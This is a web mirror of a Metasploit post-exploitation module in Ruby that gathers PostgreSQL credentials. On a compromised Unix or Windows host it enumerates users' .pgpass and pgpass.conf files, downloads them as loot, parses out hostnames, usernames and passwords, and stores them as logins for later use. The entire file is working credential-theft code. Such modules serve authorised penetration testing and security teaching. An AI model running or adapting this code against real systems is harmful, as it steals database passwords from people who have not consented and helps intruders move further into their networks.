Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/pgpass_creds.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Unix
9
include Msf::Post::Windows::UserProfiles
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Multi Gather pgpass Credentials',
16
'Description' => %q{
17
This module will collect the contents of all users' .pgpass or pgpass.conf
18
file and parse them for credentials.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => ['Zach Grace <zgrace[at]403labs.com>'],
22
'Platform' => %w[linux bsd unix osx win],
23
'SessionTypes' => %w[meterpreter shell],
24
'Notes' => {
25
'Stability' => [CRASH_SAFE],
26
'SideEffects' => [],
27
'Reliability' => []
28
}
29
)
30
)
31
end
32
33
def run
34
print_status('Finding pgpass creds')
35
36
files = []
37
case session.platform
38
when 'unix', 'linux', 'bsd', 'osx'
39
files = enum_user_directories.map { |d| d + '/.pgpass' }.select { |f| file?(f) }
40
when 'windows'
41
if session.type != 'meterpreter'
42
print_error('Only meterpreter sessions are supported on Windows hosts')
43
return
44
end
45
46
grab_user_profiles.select do |user|
47
f = "#{user['AppData']}\\postgresql\\pgpass.conf"
48
if user['AppData'] && file?(f)
49
files << f
50
end
51
end
52
else
53
print_error("Unsupported platform #{session.platform}")
54
return
55
end
56
57
if files.nil? || files.empty?
58
print_error('No users found with a .pgpass or pgpass.conf file')
59
return
60
end
61
62
files.each do |f|
63
# Store the loot
64
print_good("Downloading #{f}")
65
pgpass_path = store_loot('postgres.pgpass', 'text/plain', session, read_file(f), f.to_s, "pgpass #{f} file")
66
print_good("Postgres credentials file saved to #{pgpass_path}")
67
# Store the creds
68
parse_creds(f)
69
end
70
end
71
72
# Store the creds to
73
def parse_creds(fname)
74
cred_table = Rex::Text::Table.new(
75
'Header' => 'Postgres Data',
76
'Indent' => 1,
77
'Columns' => ['Host', 'Port', 'DB', 'User', 'Password']
78
)
79
80
read_file(fname).each_line do |entry|
81
# skip comments
82
next if entry.lstrip[0, 1] == '#'
83
84
ip, port, db, user, pass = entry.chomp.split(/:/, 5)
85
86
# Fix for some weirdness that happens with backslashes
87
p = ''
88
bs = false
89
pass.split(//).each do |c|
90
if c == '\\'
91
if bs == false
92
bs = true
93
p << c
94
else
95
# second backslash ignore
96
bs = false
97
end
98
elsif c == ':' && bs == true
99
p = "#{p[0, p.length - 1]}:"
100
else
101
p << c
102
end
103
end
104
105
pass = p
106
107
# Display the original before we try to report it, so the user
108
# sees whatever was actually in the file in case it's weird
109
cred_table << [ip, port, db, user, pass]
110
111
if ip == '*' || ip == 'localhost'
112
ip = session.session_host
113
else
114
ip = Rex::Socket.getaddress(ip)
115
end
116
117
# Use the default postgres port if the file had a wildcard
118
port = 5432 if port == '*'
119
120
credential_data = {
121
origin_type: :session,
122
session_id: session_db_id,
123
post_reference_name: refname,
124
username: user,
125
private_data: pass,
126
private_type: :password,
127
realm_value: db,
128
realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE,
129
workspace_id: myworkspace_id
130
}
131
132
credential_core = create_credential(credential_data)
133
134
login_data = {
135
address: ip,
136
port: port,
137
protocol: 'tcp',
138
service_name: 'postgres',
139
core: credential_core,
140
access_level: 'User',
141
status: Metasploit::Model::Login::Status::UNTRIED,
142
workspace_id: myworkspace_id
143
}
144
create_credential_login(login_data)
145
end
146
147
if !cred_table.rows.empty?
148
print_line
149
print_line(cred_table.to_s)
150
end
151
end
152
end
153
154